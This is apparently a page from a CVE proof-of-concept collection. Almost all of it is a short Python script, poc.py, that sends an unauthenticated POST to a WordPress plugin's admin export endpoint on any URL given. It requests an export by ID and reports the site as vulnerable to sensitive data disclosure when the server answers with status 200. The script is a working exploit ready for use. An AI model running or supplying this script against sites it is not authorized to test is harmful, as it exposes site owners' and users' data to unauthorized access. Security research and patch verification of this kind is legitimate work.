4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
args = parser.parse_args()
url = args.url.rstrip('/')
data = {'wpie_download_export_id': '1'}

def poc(url):
    try:
        r = requests.post('%s/wp-admin/admin.php?page=wpie-new-export' % url, data=data)
        if r.status_code == 200:
            print('[+] %s is vulnerable to unauthenticated sensitive data disclosure' % url)
        else:
            print('[-] Not vulnerable')
    except Exception as e:
        print('[-] An error ocurred')
        print('[-] %s' % e)
    exit()

if __name__ == '__main__':
    poc(url)